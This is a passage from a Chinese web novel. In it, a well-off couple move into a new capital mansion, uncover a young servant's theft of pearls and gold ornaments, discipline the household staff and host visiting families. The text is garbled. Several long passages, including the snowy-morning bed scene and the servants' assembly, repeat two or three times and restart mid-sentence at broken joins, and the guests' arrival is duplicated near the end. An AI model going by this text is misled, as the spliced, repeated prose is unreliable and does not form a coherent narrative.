扇娘咬着下唇,用极低的声音说道:“夫人别这样,在客人面前这样不好。” 她越是这样说话,寇夫人越是怒从心起。 “本夫人用你教!”寇夫人果然拍桌子嚷道。 孟晚脑仁有点疼,他赶紧把新搬来的事说了,又说家里有长辈去世,不便宴客招待,场面话说话,半刻没有多留,带着蚩羽黄叶他们就开溜。 蚩羽走的时候还频频回头,然后语惊四座。 “这个寇夫人性格挺好的,是个敞亮人。” 孟晚:“啊?” 宋亭舟在前院倒是和蔻汶聊得很和谐,但瞥见蚩羽偷偷往前厅里望的时候,便立即找了个理由告辞。 蔻汶起身相送,一直把人送到了自家大门口还在眺望。全然不知自家夫人和小妾一个在暗骂孟晚也是个长相妖艳的狐狸精,一个在对着镜子酸孟晚的俊俏模样。 第15章 家贼 今天的天气其实很好,哪怕依然很冷,但晌午孟晚他们回去的时候阳光暖洋洋的晒在身上,还是能带来一丝暖意的。 孟晚陪常金花在家里遛弯,顺便认认地方。 “……娘,你说这两家人有不有趣?简直神了。”孟晚对常金花说起今早在承恩伯爵府和寇家的见闻。 常金花先担忧一下,“那什么伯爵府的老夫人不会真的来找我吧?我能和人家说啥啊?” 逛到后正院常金花的院子,孟晚看着左右两侧的房子,想着年后找人改成两个小院来,“人家就是客气客气,怎么可能真来啊?那种一辈子都高高在上的老主母,便是家里落魄了恐怕都拉不下面子求人,心里不一定怎么鄙夷咱们是乡下来的土包子呢!” 常金花半点不恼,“旁人背地里说啥咱们管不着,不是实在人,咱们就不相交。” 孟晚笑盈盈地看着她,“娘说的对,你看你院里这块院子想怎么改?年后我找人给你归拢好。” 常金花不假思索,“不用改,开春我把枯草一拔,种菜正好,旁边连水源都有,连从井里打水都省了。” 孟晚早就猜到她会这么说,“咱们附近有一条小河,远处还有一条大河,井里的水都很充沛,打水也不用费力提。” 这本来是好事,但常金花面色突然带了点愁绪,“住的离河边这么近,会不会容易寒湿啊?” 孟晚没忍住哈哈大笑,把在一旁跟着雪生蚩羽锻炼身体的宋亭舟和孩子们都笑来了。 其实也是阿砚想偷懒,第一个跑过来问:“阿爹,你在笑什么?” 孟晚笑得眼泪都要飙出来了,他揩了揩眼角,“你祖母说住河边太近,怕身体寒湿。” 大家都一脸茫然,只有宋亭舟跟着低沉的笑了两声。 常金花这是在岭南待多了,自己不经意间把当地的风俗习性都刻到脑子里去了,下意识就说了出来。 常金花纳闷,“这有什么可笑的?” 孟晚咧着嘴巴摆摆手,“没什么没什么,娘,我不跟你逛了,昨天库房还有一点没收拾完,我在去收拾收拾。” “这么多人,一天还没收拾完呢?”常金花问道。 “还有几箱子首饰,另外我想提一箱金子出来找匠人做点金箔纸,画张大张的画来摆你堂屋去。”孟晚两手伸出去比划了一个 特别大的幅度。 “一箱金子?” “做……做纸?” “画画?” 常金花嘴都有点合不拢,她迟疑的问道:“咱们家有几箱金子?” 孟晚昨天刚盘点过,因此很自然的回道:“二十多箱啊?” “二十……多箱!!!”常金花差点打鸣,宋亭舟的眼角也抽动了一下。 她俩从来没问过家里有多少钱,虽然知道应该不少,但是一直勤俭惯了,对于金子都不论两,跳过斤数直接论箱了,还是万分惊讶。 常金花合上嘴巴咽了咽口水,“那银两有多少?” 孟晚随口说道:“三十多万两吧。” 两个最小的孩子对钱还没概念,孟晚看几个大人吃惊的模样觉得很搞笑,他们以为自己在岭南辛苦几年是干公益去了? 黄叶跟着孟晚过去库房,两个孩子也跑过来玩耍。因为只剩十来箱珠宝首饰,孟晚也没叫太多人,还是黄叶和枝繁枝茂,蚩羽帮他们搬箱子。 家人朋友送的孟晚都放在自己卧房,库房这些都是孟晚自己看着添置的,大部分都是普通的成套头面,少部分据说是精品名贵的工艺,还有一些没被雕琢过的原石。 珍珠单独算出来有二十来箱,这玩意在岭南比较盛产,孟晚从北海葛全朋友手里收了不少,基本上都是上好的,准备回京来送礼。 之前拾春巷两进的小宅子太小,这些东西一直空不出地方来钦点,这会儿正好把送给祝家和吴家的礼物也顺便点出来。 “阿砚,你和通儿要玩就让朱颜给你俩穿起来做手串,不许当石子玩。”孟晚把抓着珍珠乱玩的小孩叫住。 通儿乖乖的把珍珠送回箱子里,最后手中留下一颗,指着上面小小的污点说道:“小叔,这颗脏脏了。” 孟晚摸摸他的头,“脏了也不要紧,你拿着玩吧。” “咦?”黄叶蹲下身,“葛公子,能不能拿给我看看。” 通儿把手中比花生大一圈的珍珠放进他手心,黄叶仔细观察上面的脏了的痕迹,“夫郎,这上头好像是口脂。” “口脂?”孟晚就着他的手看了上面的脏污,好像确实是脂膏一类的东西。 他扭头看了眼身后的几箱珍珠,珍珠不像是金银,能一个个的数轻,孟晚当初收的随意,是按 斤两买的,若是一箱少了三两颗,根本称不出来。 孟晚对着在场的几个人吩咐,“过来看看其他几箱,还有工艺复杂配饰多的首饰,看看上面有没有缺失。” 通儿和阿砚都过来帮忙,首饰比较杂,盒子箱子都有,大小各异。众人翻了半天,还真从一套累金雀翎头面的发冠上头少了根缠金羽毛。 黄叶又递上来一支用金翠珠宝做成的花钿,“夫郎,这支花钿上头也丢了一片金制的花瓣。” 孟晚都快气笑了,“这是家里出了贼了?” 而且这贼还有点小聪明,偷珍珠,拿了几颗小的也查不出来,再扣点不打眼的金饰,自己偷偷融了就能卖钱。 枝繁枝茂“扑通”一下子就跪在地上,跟在阿砚和通儿身边的桂方、桂圆小小的脑袋尚不理解是什么意思,也跟着跪了。 库房的钥匙在黄叶和孟晚一人一把,黄叶不可能进去偷东西。四间库房的窗户昨天上午就用石灰粉封住了,只有门能进去。 这些东西从岭南到盛京一直没有拆过箱,封条完好无损,只能是昨天规整的时候,人多手杂才被人偷的。 孟晚扫了院里的下人们一眼,“都起来吧,不是什么大事,找出来送官就是了,反正家里也方便。” 家奴**,远比普通窃贼**还要严重,大概率会杖刑后流放。寻常人家出了家贼,大致会被主人家乱棍打死。两条路,哪条都没有好上多少。 库房被盗的消息散了出去,夫郎说的话没人会怀疑。一时间家里人心惶惶,没偷的怕被冤枉,贼眉鼠眼看谁都像是贼。 仆人们都四人一间房,只有一天的时间,这种情况下偷了东西的人寸步难行,第二天一早黄叶就带着人来找孟晚。 “是咱们从钦州买的那批人里,一个十四岁的小姑娘,暂时安排在正院里洒扫。前天收拾库房的时候看见了,就动了歪心思。” 小姑娘已经吓得快晕厥过去了,攥着手里的东西不住流泪抽噎。 孟晚叹了口气,“算了,**契给她,将人赶出去吧,往后是生是死和咱们宋家无关。” “不要啊夫郎,我再也不敢了,不要赶我走。”小姑娘嘶声喊叫,离开宋家,她不知自己该何去何从。 钦州的这些孩子其实都很可怜,孟晚没要一个年长的,挑的都是十岁朝上的小孩。 孩子尚且年幼,经历家中巨变,性格都比较敏感不安。话又说回来,但凡家里还有其他办法,也不会把孩子给卖了,这天底下的可怜人又何止一个两个呢? 孟晚说了将人赶走,就没有转圜的可能,桂诚桂谦当即就把人提起来往外拖。两人从西梧府跟到盛京,比起刚到宋家时的毛头小子样成熟稳重许多。 孟晚没有吩咐,桂诚桂谦也没将小姑娘的棉袄扒了,这么冷的天,要真是扒了棉袄赶出去,恐怕会被冻死。 “如今搬了家也有空了,有空咱们也找个宫里的嬷嬷给家里的仆从教教规矩。盛京毕竟不是岭南,真要是被有心人抓住可乘之机,一桩桩的都是事。”孟晚捏了捏眉心细嫩的肉,颇有些心烦。 做生意费心可以得到大量银钱,跟盛京城里这些高门大户打交道,他又能得到什么? 晚上临睡前下了一场薄雪,后半夜有转大的趋势,“簌簌”的落雪声吵醒了孟晚。也不算是吵醒,地龙的热气到后半夜就基本没有了,冷风从四面八方袭来,他翻了个身把被子使劲往上拽,只露出半个后脑勺,整张脸都埋进宋亭舟胸膛上。 这个姿势又觉得背上漏风,他在被窝里如蚕蛹一样缓慢地转了个身,身体短暂与宋亭舟分开,冷风霎时从四面八方涌进被窝里,孟晚觉得自己汗**都快立起来了。 被窝里另一只有力的手把他捞了回去,后背一丝缝隙没有的贴在宋亭舟胸膛上,肚子上也盖上了一只温热的手,来自对方的体温暖住了孟晚全身,舒服得他喟叹了一声. 孟晚眼睛睁开了一条缝隙,卧房里黑的伸手不见五指,他声音中带了点微弱的鼻音,“我把你吵醒了?” 宋亭舟亲了亲他的发顶,“没有,醒了有一会儿。” 孟晚配合着蹭了蹭他下颌,“外面雪好像越下越大了。” 听他声音中似乎没有几分睡意,宋亭舟半坐起身子靠在床头,手上没使多大的力气,孟晚便主动趴在他身上。 宋亭舟撩起床边的帷帐,窗外的白雪映照在同样雪白的窗纸上,衬得卧房里比寻常的黑夜明亮。 “还冷不冷?”宋亭舟拉开帷幔后重新抱住孟晚,嗓音低沉又温柔。 孟晚小幅度打了个哈欠,“不冷了,不知道外面什么时辰了?” 他刚说完,便听见了微乎其微的打梆子声音,似乎是打了五下。 “五更天 了啊。” 宋亭舟把被子又掖了掖,轻声“嗯”了一声。 孟晚已经不打算继续睡了,他揉了揉眼角后又迅速把手缩回被窝,“给师兄送的年礼已经准备好了,没准备太多,怕那群烦人的御史找麻烦。” 宋亭舟瞬间想起来之前出言不逊的丁御史,眼眸里涌上一丝道不明的情绪。低下头的时候目光中是孟晚泛着朦胧美感的脸,他用唇瓣抵在孟晚脸上,“明天我去找人将年礼送去扬州,天太冷,你在家休息。” “好~正好把给祝家和吴家的礼都收拾出来备着,如今离得近了,年后串门拜年就顺便给送了。” 两人依偎着说了一阵子小话,孟晚不知何时又迷迷糊糊的眯了一小阵。起来的时候宋亭舟已经不在床上了,虽然现在沐休不用上朝,但从年幼时他便已经习惯早起,此时已经洗漱完毕,坐在卧房外间的炕上看书。 “夫君,你帮我拿衣裳。”孟晚坐在床上裹着被子叫他。 他的衣服每天都是挂在火炕旁边的屏风上,盛京城的房子有床也有炕,家里没有地龙的就睡炕,铺了地龙的便睡床。 大户人家都是两套备用,火炕是和炉灶相连的,作用和软塌差不多,来亲近的内眷可以上去坐着说话。 宋亭舟每天早起第一件事就是往火炉里添火,这样等孟晚起床的时候,穿在身上的衣裳都是被熏热的。 他把一件淡青色的袄袍递给孟晚,里料松松软软又温热。孟晚在被窝里完成了动作超难的换衣动作,这会儿家里的地龙早就生上了,可因为封闭条件不如现代,从被窝里出来还是冷的,手脚鼻尖都发凉。 孟晚用温水洗漱完,宋亭舟自发从炕上走至梳妆台前帮他梳头。动作熟练的将他一头乌发挽起来,接过孟晚递过来的祥云发簪时,宋亭舟指尖在有些弯曲变形的簪身上轻叩,然后帮他簪成一个发髻,“过几日气候暖些,我带你去宝光斋逛逛。” 孟晚与他相恋多年,几乎在宋亭舟话说完的瞬间就知道他在想什么,爽快答应道:“好啊。” 哪怕家里有金山银山,爱人所赠便是意义非凡。 饭后宋亭舟出门,孟晚叫黄叶把家里的仆人都**到正院里,除了柳大夫妻在门房守门,朱砂、朱颜、桂诚、桂谦、桂方、桂圆是孟晚在西梧买的下人外,宋家其余三十八个仆从都是从钦州买来的。 比起其他大户人家动辄两三百号仆人,宋家这些人着实不多,而且贴身伺候的少,大部分都是洒扫干些零碎活计的。 若不是家里宅子太大,三十八个孟晚都嫌多,外面孟晚嫌冷,黄叶便将人都带到中堂去听孟晚训话。 “你们是我亲自从钦州买来的,又被千里迢迢带回盛京来,你们家里是什么光景自己心里都清楚吧?” 堂屋里黑压压的一片人,一个超过二十岁的都没有,孟晚训话的时候有迟钝些的尚未明白怎么回事,机灵的已经想明白是因为家里闹贼才有这么一遭了。 了啊。” 宋亭舟把被子又掖了掖,轻声“嗯”了一声。 孟晚已经不打算继续睡了,他揉了揉眼角后又迅速把手缩回被窝,“给师兄送的年礼已经准备好了,没准备太多,怕那群烦人的御史找麻烦。” 宋亭舟瞬间想起来之前出言不逊的丁御史,眼眸里涌上一丝道不明的情绪。低下头的时候目光中是孟晚泛着朦胧美感的脸,他用唇瓣抵在孟晚脸上,“明天我去找人将年礼送去扬州,天太冷,你在家休息。” “好~正好把给祝家和吴家的礼都收拾出来备着,如今离得近了,年后串门拜年就顺便给送了。” 两人依偎着说了一阵子小话,孟晚不知何时又迷迷糊糊的眯了一小阵。起来的时候宋亭舟已经不在床上了,虽然现在沐休不用上朝,但从年幼时他便已经习惯早起,此时已经洗漱完毕,坐在卧房外间的炕上看书。 “夫君,你帮我拿衣裳。”孟晚坐在床上裹着被子叫他。 他的衣服每天都是挂在火炕旁边的屏风上,盛京城的房子有床也有炕,家里没有地龙的就睡炕,铺了地龙的便睡床。 大户人家都是两套备用,火炕是和炉灶相连的,作用和软塌差不多,来亲近的内眷可以上去坐着说话。 宋亭舟每天早起第一件事就是往火炉里添火,这样等孟晚起床的时候,穿在身上的衣裳都是被熏热的。 他把一件淡青色的袄袍递给孟晚,里料松松软软又温热。孟晚在被窝里完成了动作超难的换衣动作,这会儿家里的地龙早就生上了,可因为封闭条件不如现代,从被窝里出来还是冷的,手脚鼻尖都发凉。 孟晚用温水洗漱完,宋亭舟自发从炕上走至梳妆台前帮他梳头。动作熟练的将他一头乌发挽起来,接过孟晚递过来的祥云发簪时,宋亭舟指尖在有些弯曲变形的簪身上轻叩,然后帮他簪成一个发髻,“过几日气候暖些,我带你去宝光斋逛逛。” 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堂屋里黑压压的一片人,一个超过二十岁的都没有,孟晚训话的时候有迟钝些的尚未明白怎么回事,机灵的已经想明白是因为家里闹贼才有这么一遭了。 了啊。” 宋亭舟把被子又掖了掖,轻声“嗯”了一声。 孟晚已经不打算继续睡了,他揉了揉眼角后又迅速把手缩回被窝,“给师兄送的年礼已经准备好了,没准备太多,怕那群烦人的御史找麻烦。” 宋亭舟瞬间想起来之前出言不逊的丁御史,眼眸里涌上一丝道不明的情绪。低下头的时候目光中是孟晚泛着朦胧美感的脸,他用唇瓣抵在孟晚脸上,“明天我去找人将年礼送去扬州,天太冷,你在家休息。” “好~正好把给祝家和吴家的礼都收拾出来备着,如今离得近了,年后串门拜年就顺便给送了。” 两人依偎着说了一阵子小话,孟晚不知何时又迷迷糊糊的眯了一小阵。起来的时候宋亭舟已经不在床上了,虽然现在沐休不用上朝,但从年幼时他便已经习惯早起,此时已经洗漱完毕,坐在卧房外间的炕上看书。 “夫君,你帮我拿衣裳。”孟晚坐在床上裹着被子叫他。 他的衣服每天都是挂在火炕旁边的屏风上,盛京城的房子有床也有炕,家里没有地龙的就睡炕,铺了地龙的便睡床。 大户人家都是两套备用,火炕是和炉灶相连的,作用和软塌差不多,来亲近的内眷可以上去坐着说话。 宋亭舟每天早起第一件事就是往火炉里添火,这样等孟晚起床的时候,穿在身上的衣裳都是被熏热的。 他把一件淡青色的袄袍递给孟晚,里料松松软软又温热。孟晚在被窝里完成了动作超难的换衣动作,这会儿家里的地龙早就生上了,可因为封闭条件不如现代,从被窝里出来还是冷的,手脚鼻尖都发凉。 孟晚用温水洗漱完,宋亭舟自发从炕上走至梳妆台前帮他梳头。动作熟练的将他一头乌发挽起来,接过孟晚递过来的祥云发簪时,宋亭舟指尖在有些弯曲变形的簪身上轻叩,然后帮他簪成一个发髻,“过几日气候暖些,我带你去宝光斋逛逛。” 孟晚与他相恋多年,几乎在宋亭舟话说完的瞬间就知道他在想什么,爽快答应道:“好啊。” 哪怕家里有金山银山,爱人所赠便是意义非凡。 饭后宋亭舟出门,孟晚叫黄叶把家里的仆人都**到正院里,除了柳大夫妻在门房守门,朱砂、朱颜、桂诚、桂谦、桂方、桂圆是孟晚在西梧买的下人外,宋家其余三十八个仆从都是从钦州买来的。 比起其他大户人家动辄两三百号仆人,宋家这些人着实不多,而且贴身伺候的少,大部分都是洒扫干些零碎活计的。 若不是家里宅子太大,三十八个孟晚都嫌多,外面孟晚嫌冷,黄叶便将人都带到中堂去听孟晚训话。 “你们是我亲自从钦州买来的,又被千里迢迢带回盛京来,你们家里是什么光景自己心里都清楚吧?” 堂屋里黑压压的一片人,一个超过二十岁的都没有,孟晚训话的时候有迟钝些的尚未明白怎么回事,机灵的已经想明白是因为家里闹贼才有这么一遭了。 了啊。” 宋亭舟把被子又掖了掖,轻声“嗯”了一声。 孟晚已经不打算继续睡了,他揉了揉眼角后又迅速把手缩回被窝,“给师兄送的年礼已经准备好了,没准备太多,怕那群烦人的御史找麻烦。” 宋亭舟瞬间想起来之前出言不逊的丁御史,眼眸里涌上一丝道不明的情绪。低下头的时候目光中是孟晚泛着朦胧美感的脸,他用唇瓣抵在孟晚脸上,“明天我去找人将年礼送去扬州,天太冷,你在家休息。” “好~正好把给祝家和吴家的礼都收拾出来备着,如今离得近了,年后串门拜年就顺便给送了。” 两人依偎着说了一阵子小话,孟晚不知何时又迷迷糊糊的眯了一小阵。起来的时候宋亭舟已经不在床上了,虽然现在沐休不用上朝,但从年幼时他便已经习惯早起,此时已经洗漱完毕,坐在卧房外间的炕上看书。 “夫君,你帮我拿衣裳。”孟晚坐在床上裹着被子叫他。 他的衣服每天都是挂在火炕旁边的屏风上,盛京城的房子有床也有炕,家里没有地龙的就睡炕,铺了地龙的便睡床。 大户人家都是两套备用,火炕是和炉灶相连的,作用和软塌差不多,来亲近的内眷可以上去坐着说话。 宋亭舟每天早起第一件事就是往火炉里添火,这样等孟晚起床的时候,穿在身上的衣裳都是被熏热的。 他把一件淡青色的袄袍递给孟晚,里料松松软软又温热。孟晚在被窝里完成了动作超难的换衣动作,这会儿家里的地龙早就生上了,可因为封闭条件不如现代,从被窝里出来还是冷的,手脚鼻尖都发凉。 孟晚用温水洗漱完,宋亭舟自发从炕上走至梳妆台前帮他梳头。动作熟练的将他一头乌发挽起来,接过孟晚递过来的祥云发簪时,宋亭舟指尖在有些弯曲变形的簪身上轻叩,然后帮他簪成一个发髻,“过几日气候暖些,我带你去宝光斋逛逛。” 孟晚与他相恋多年,几乎在宋亭舟话说完的瞬间就知道他在想什么,爽快答应道:“好啊。” 哪怕家里有金山银山,爱人所赠便是意义非凡。 饭后宋亭舟出门,孟晚叫黄叶把家里的仆人都**到正院里,除了柳大夫妻在门房守门,朱砂、朱颜、桂诚、桂谦、桂方、桂圆是孟晚在西梧买的下人外,宋家其余三十八个仆从都是从钦州买来的。 比起其他大户人家动辄两三百号仆人,宋家这些人着实不多,而且贴身伺候的少,大部分都是洒扫干些零碎活计的。 若不是家里宅子太大,三十八个孟晚都嫌多,外面孟晚嫌冷,黄叶便将人都带到中堂去听孟晚训话。 “你们是我亲自从钦州买来的,又被千里迢迢带回盛京来,你们家里是什么光景自己心里都清楚吧?” 堂屋里黑压压的一片人,一个超过二十岁的都没有,孟晚训话的时候有迟钝些的尚未明白怎么回事,机灵的已经想明白是因为家里闹贼才有这么一遭了。 第16章 小聚 孟晚穿着简简单单的青色袄袍,外头罩了件质感厚重的玄色褙子,上头用金线绣着山河日月点缀,是瑶绣的针法。 他坐在堂屋里,便是没有华丽的珠翠发冠装点,坐姿上也较为随意,可通身的气势比他的容貌还要锋利,让人不敢直视。 堂屋内落针可闻,底下的**气也不敢出一声。黄叶站在孟晚弯腰为他斟了杯温热的茶水,表情也比寻常冷硬许多。 孟晚浅抿了一口茶水,热流从喉咙滑到肚子里。 “若真是做错了事,我不会管你们有没有什么苦衷,是不是有什么隐情。我供你们吃喝和一年四季的衣裳,每月按你们做活的辛苦程度发着月钱,不是用来养白眼狼的。” 他说完后淡淡的瞥了一眼底下的所有仆人,“咱们宋家和别人家不一样,宋家的家规就是我的底线,比起做你们夫郎,我更想和你们谈买卖。你们如今做得这份活计,若是不想干了只管滚蛋,有的是人能代替,懂吗?” 没人敢说话,甚至连呼吸都清浅的可怜。 黄叶不满的抿紧嘴唇,走过去喝了一声,“没听见夫郎说话吗?还不回答!” “懂……懂了。” “我们懂了夫郎。” 声音小的和蚊子的扇翅声差不多。 “行了,都散了去做活吧。”孟晚无奈扶额,看来找宫侍教规矩的事要早些提上日程。虽说松韵书院项芸的好友李飞飞给孟晚留了人脉,可那是用在刀刃上的,让人家找宫侍就有些大材小用了,还是想个方法寻个别的才是。 帘子掀开带进来一缕又一缕的冷气,孟晚从门帘揭起的缝隙中看着外面雪白洁净的雪景,心里一动,干脆让枝繁枝茂两人支了桌子在炕上,又将他的画具拿来。 这两天家里各处都烧得暖了,楚辞和阿砚也各住到了自己的院子里去。两座小院眼下还没起名,就叫着东西院子,楚辞为长,住在东院。阿砚为幼,和通儿住在西园。阿寻则住常金花东侧的小院。 既然分了院子,家里的仆人就也该各侍其主。桂方桂圆两个小的贴身跟阿砚通儿,朱颜朱砂年长些,暂且管着阿砚院里的事。洒扫的不算,阿砚院里就这几个人,等他稍大一些,朱颜和朱砂在他院里就不大合适了,到时候桂方桂圆也长大顶事了,再换过去两个小厮即可。 楚辞的院子比较复杂,一般人没人敢进,但他在城里初 入身边若是一个人都不跟着孟晚也不放心。还是那句话,盛京不比西梧府。 他亲自在仆人中挑了个还算机灵的小子,楚辞给他起名叫别枝,学的孟晚给枝繁枝茂起名,都带了个“枝”字。平时楚辞也不用他伺候,就跑跑腿,白日在院里扫扫地,楚辞出门的时候贴身跟着就行了。 住的是单间,干的是轻巧活计,只是偶尔看雪狼觉得害怕,剩下没什么不好的。 常金花院里也调了两个侍女,是家里新买的仆人中最为老实沉稳的,最主要的是话少,一个叫苇莺,一个叫云雀。 黄叶是家里的大管家,有时候不能时时在孟晚面前伺候,就把枝繁枝茂两个安排到正院的耳房里住,孟晚用人了随叫随到。 至此,家里的人手暂时给捋顺了。 孟晚坐在炕上画画,把炕上的窗户支开了一条小缝,他要画雪景,仆人便不能将所有雪都清扫干净,除了廊下飘进来的雪花怕浸湿了回廊,都清扫了干净外,正院里整座园子都被积雪覆盖。 廊下环绕院子一周蜿蜒曲折的水道被冻得结结实实,犹如一条贯穿园子的洁白小径。花园里的山石杂乱无章,这片园区都被厚厚的积雪覆盖,而天空灰暗的云层下,有新的雪花不断飘落。 又开始下雪了。 屋内静谧,落雪无声。枝繁枝茂坐在火炉旁的绣墩上,中间的低矮木架上摆着一盘子温润莹泽的珍珠,他俩手中挑着各色丝线打络子,偶尔在其中穿上几颗珍珠。 前院的月梅从廊下小跑着过来,脚步声唤醒了离门口较近的枝繁枝茂,他俩站起身来,枝繁放下手中的东西到门口阻拦,声音几乎用的是气音,“什么事啊月梅姐?夫郎在作画呢,室内不可喧哗。” 月梅眉眼间浮有急色,却也不敢惊扰孟晚,她把枝繁拉到外面走廊上,同样小声说道:“我屋里那个小孩不见了。” 枝繁瞪圆了眼尾,“不见了?他那么小能去哪里?是不是找他娘去了?” 他这么一说月梅也有点不确定,六岁的孩子说小不小说大不大,走街串巷的四处玩闹是常事。这孩子在宋家住了半个月,主家给治好了病,既没说撵走,也没说收入家奴。 小孩子养在她屋里柳大不免抱怨几次,难不成是听了大人的话,心里长了气性真跑了? “他也没带什么东西啊?就这么走了去找他娘去了?” 月梅心里有些不舒服,她为了这个孩子还挨了孟晚一顿斥责,结果对方走了竟然连招呼都不打。 “枝繁,是谁来了?”孟晚放下手中的笔,坐在热乎乎的炕上伸了个懒腰。 枝繁和月梅忙掀了厚帘子进来,“夫郎,是前院的月梅姐。” 月梅欠身行礼,“夫郎。” “怎么了?”孟晚这会儿画累了不想动笔,正想下炕去活动活动。 月梅低头搅着手里的帕子,“养在我屋里那个小哥儿,昨天不知什么时候起就不见他人影了,奴婢还以为他出去玩了,没料到他昨夜都没回来睡觉,直到这会儿这会儿也没回来。” 孟晚从炕上下来,正打算找见外罩的大氅,听了她的话动作一顿,回眸扫了她一眼,“昨天人就不见了,你现在才来禀告?” 月梅头颅愈发低垂,不敢言语。枝繁枝茂对视一眼,枝茂默不作声的继续做活,枝繁则找出孟晚在家常穿的大氅来候在一旁。 孟晚穿上大氅,再没看月梅一眼,“这是你第二次自作主张,看来也不是什么机灵的,厨房采买的活计就别做了。若有下一次,宋家不会再留你。” 月梅直接哆嗦着跪到了地上,孟晚不爱铺地毯,脚下是硬邦邦的石砖。 幸好冬天大家穿得都厚,不然这一下就能把膝盖嗑肿。 孟晚没理他,自顾自的整理了一番衣服出门,枝繁紧随其后。枝茂在屋子里守着,没忍住劝了句,“月梅姐,你快起来吧,夫郎不爱体罚下人。你往后可要小心些,再别瞒着夫郎什么了。” 夫郎是不打不骂,可犯了错被直接撵走是真的,半点不留情面,岂不是更吓人? 枝茂眼神中带着怜悯,本来他们两口子都已经算是宋家老人了,这下子真成了个看门的,柳大没准会找月梅闹一通。 宋亭舟将年货的事办好回来,屋内只有一个做活的枝茂,他眉眼比外间的风雪还要冷淡,“夫郎呢?” 枝茂一着急掉了颗珍珠在地上,他眼睛低头看着珍珠滚到椅子底下,嗓子紧得好一会儿才说出话来,“夫郎去后正院老夫人那里了……” 他话没说完,宋亭舟已经脚步转外,离开前说了一句,“若是夫郎不在,屋里不需要人伺候。” 意思没事别来他们正房里。 正房三个门,卧房在最里面,枝繁枝茂平时都 在中堂伺候,今天进的也是外屋,结果老爷还是不乐意。 枝茂记住了宋亭舟不喜欢仆人来正房的事,想着等晚上回去睡觉的时候把这事也告诉枝繁一声,免得**惹得老爷不喜。 宋亭舟走后枝茂忙把地上的珍珠捡起来,挎上他和枝繁的绣筐出去,把东西往他俩住的小房间一放,也去找孟晚了。 孟晚在常金花屋里看信,他屋里不是没有地方,偏偏没事喜欢歪在常金花这里。 里面也热闹,除了楚辞和阿寻外,大家都在。 常金花这边的炕,搬家前孟晚找人给盖过,又宽又长,烧暖了整个屋子都很暖和。 孟晚半倚在炕上,面前支了张小桌子,纤长的手指捏着信纸,偶尔轻笑一声。 “怎么了,有喜事?”常金花端了一盘子砸好的核桃进来,身后跟着高高大大的宋亭舟。 孟晚往里面挪挪给他俩腾地方,“小蛾有孕了,黄挣说等他生了让咱们回昌平喝他家的满月酒。” 常金花对黄挣夫郎影响很微薄,“小蛾就是你托他找得那个朋友?” 孟晚接过宋亭舟给他剥的核桃仁,“嗯。他俩成婚也有好几年了,这回小蛾有孕,黄挣高兴坏了。” 常金花也许久没见过黄挣了,印象最深的还是他青涩黝黑的倔模样。“家里布料那么多,要不要给他们拉回去一些给孩子做小衣吧?” “成啊,正好过两天我要去珠宝铺子,再给孩子打一个长命锁吧。年后咱们回乡,顺路就给他们捎过去了。”孟晚早就答应常金花回乡,盛京离昌平到底没有岭南那么远,顶多两个月就能回到乡下。只是今年许多事耽搁了,现在天寒地冻的不好走,要等年后暖和一些再回去。 他们在常金花这里待了半天,晚上在这里吃了晚饭,回去四下无人孟晚才对宋亭舟说了边二兴和郭婉贞儿子失踪的事。 两人在黑暗中沉默了很长时间,一长一短的各自叹了口气。 孟晚与承恩伯爵府和寇家说的不宴客是真的,但关系与他家亲近的 祝、吴两家还是携礼上门了。 “三叔!你什么时候回来的?这是四叔吧?”孟晚到门口迎客,竟然见到了回京过年的祝三爷,他身后跟着个比他还高一些的汉子,长相凶悍,看着就像不好惹的。 两兄弟长得很像,只不过祝三爷走南闯北 多年,气质更加沉稳圆滑,祝四爷更具匪气。 跟着孟晚和宋亭舟出来迎客的雪生,闻言下意识看了祝四爷一眼,眼中情绪复杂。祝四爷也习武,他敏锐的察觉到雪生的目光,纳闷的琢磨着自己是不是得罪过这人。 祝泽宁一家子都到齐,上到长辈祝三爷,下到小辈久不出门的琼娘,再加上丫鬟小厮浩浩荡荡的一大家子。 相比之下吴昭远夫夫二人就冷清了许多,两人没有子嗣,吴家也没有长辈,两人身边只跟了三两个仆人,其中一个便是跟随吴昭远身边多年的小厮秋影。 把客人都请进门之后,孟晚略退后两步看了雪生一眼,“没事?” 雪生心中一暖,“都过去了夫郎。” 孟晚提起来的心松懈下来,“那就好。” 若是雪生过不去曾经的坎,孟晚也只好惹祝三爷不快了,不与他四弟相交了。两者之间孰轻孰重,他心里自有丈量。 众人先去拜访常金花,然后男客去前面宴客厅,内眷留在常金花院里。 “雪生哥!”秋影叫住雪生,语气一如当初,只是经历了变成期,变得成熟了许多。 雪生许久没见他,面上也露出个笑来,“听说你都成亲生子了,怎么没把孩子带来。” 秋影挥挥手,“嗨,丫头一个,又那么大一点,带她做什么。”嘴上是这么说,嘴角眉梢都带着喜庆的得意,可见还是喜欢的。 雪生从怀里摸出一个红色带着金色丝线的荷包递给他,“给孩子准备的见面礼,她没来,你就带回去给他吧。” 秋影十分感动,他和雪生许久没见,没想到雪生哥还特意打听了他的事。 宋家的仆人分别往前后院送茶点,常金花往炕桌上摆满了干果点心,招呼琼娘上去。 “琼娘,来,想吃什么自己来拿。” 琼娘比阿砚只小一岁,看起来却瘦瘦小小的一只,脸色白净到有一丝苍白,显得眼睛更大了,带着干净的破碎感,大人们看了都很心疼。 兰娘帮女儿脱了鞋子,让她上去暖暖,“外头雪那么厚,本来不想带她来的,但是她非要过来,说要看新宅子。” 孟晚派人去喊阿寻,转头回来给琼娘泡了一碗热乎乎的红糖藕粉,“一会儿再让阿寻来给琼娘把把脉,我记得上次他说琼娘可以适当外出散散步,对身体是有好处的。” 多年,气质更加沉稳圆滑,祝四爷更具匪气。 跟着孟晚和宋亭舟出来迎客的雪生,闻言下意识看了祝四爷一眼,眼中情绪复杂。祝四爷也习武,他敏锐的察觉到雪生的目光,纳闷的琢磨着自己是不是得罪过这人。 祝泽宁一家子都到齐,上到长辈祝三爷,下到小辈久不出门的琼娘,再加上丫鬟小厮浩浩荡荡的一大家子。 相比之下吴昭远夫夫二人就冷清了许多,两人没有子嗣,吴家也没有长辈,两人身边只跟了三两个仆人,其中一个便是跟随吴昭远身边多年的小厮秋影。 把客人都请进门之后,孟晚略退后两步看了雪生一眼,“没事?” 雪生心中一暖,“都过去了夫郎。” 孟晚提起来的心松懈下来,“那就好。” 若是雪生过不去曾经的坎,孟晚也只好惹祝三爷不快了,不与他四弟相交了。两者之间孰轻孰重,他心里自有丈量。 众人先去拜访常金花,然后男客去前面宴客厅,内眷留在常金花院里。 “雪生哥!”秋影叫住雪生,语气一如当初,只是经历了变成期,变得成熟了许多。 